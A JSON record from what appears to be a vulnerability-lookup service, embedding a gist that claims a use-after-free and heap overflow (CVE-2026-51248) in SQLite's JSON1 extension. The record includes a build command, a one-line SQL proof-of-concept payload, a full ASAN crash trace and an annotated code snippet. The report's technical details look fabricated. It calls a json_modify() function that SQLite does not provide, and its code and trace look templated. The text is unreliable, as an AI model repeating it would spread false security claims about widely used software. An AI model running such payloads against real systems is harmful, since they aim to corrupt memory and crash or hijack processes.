{"uuid": "fe3c8310-840b-481e-a0fc-341b885bba63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51248", "type": "seen", "source": "https://gist.github.com/programmervuln/e87d48c8a9e36ddf43cc02db54f5151f", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51248\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.45.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51248\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonModify() function inside the JSON1 extension.\nSource code src/json.c Line 1862 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, creating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 1917 executes unchecked read/write access via the dangling pointer, triggering the use-after-free vulnerability; src/json.c Line 1941 executes an uncontrolled out-of-bounds memory write operation, triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 1862(memory free), Line 1917(dangling pointer access), Line 1941(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_modify('{\"a\":1}', '$[9223372036854775807]', 'payloaddata');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x611000000440 at pc 0x55d899a65872 bp 0x7ffdabcdef00 sp 0x7ffdabcdeef0\nREAD of size 8 at 0x611000000440 thread T0\n    #0 0x55d899a65871 in jsonModify src/json.c:1917:12\n    #1 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #2 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x55d8992713c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x55d899124f85 in main src/shell.c:4862:12\n\nAddress 0x611000000440 is located 0 bytes inside of 128-byte region [0x611000000440,0x6110000004c0)\nfreed by thread T0 here:\n    #0 0x7f8ab451737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x55d899a64fc6 in jsonModify src/json.c:1862:9\n    #2 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #3 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7f8ab45171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x55d8998f7425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x55d899a64712 in jsonModify src/json.c:1794:21\n\n==12345==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x6110000004c8 at pc 0x55d899a659e2 bp 0x7ffdabcdef00 sp 0x7ffdabcdeef0\nWRITE of size 4 at 0x6110000004c8 thread T0\n    #0 0x55d899a659e1 in jsonModify src/json.c:1941:16\n    #1 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #2 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_modify() built-in function with a crafted large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonModify() to apply the requested JSON update operation.\nInternal logic reaches src/json.c Line 1862, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 1917 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 1941, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.\nCritical Vulnerable Code Snippet (src/json.c, version 3.47.2)\nc\nstatic JsonNode *jsonModify(JsonNode *pRoot, const char *zPath, JsonNode *pNewVal, int *pRc){\n  // [...] irrelevant lines omitted\n  sqlite3_free(pTempNode);  // Line 1862: Memory free operation\n  // Dangling pointer pTempNode remains unmodified, no NULL assignment\n  // [...] irrelevant lines omitted\n  jsonNodeGetLength(pTempNode); // Line 1917: Dangling pointer dereference (UAF)\n  // [...] irrelevant lines omitted\n  pTarget->a[i] = pNewChild;    // Line 1941: Unchecked out-of-bounds write\n  // [...]\n}", "creation_timestamp": "2026-07-31T08:58:36.362351Z"}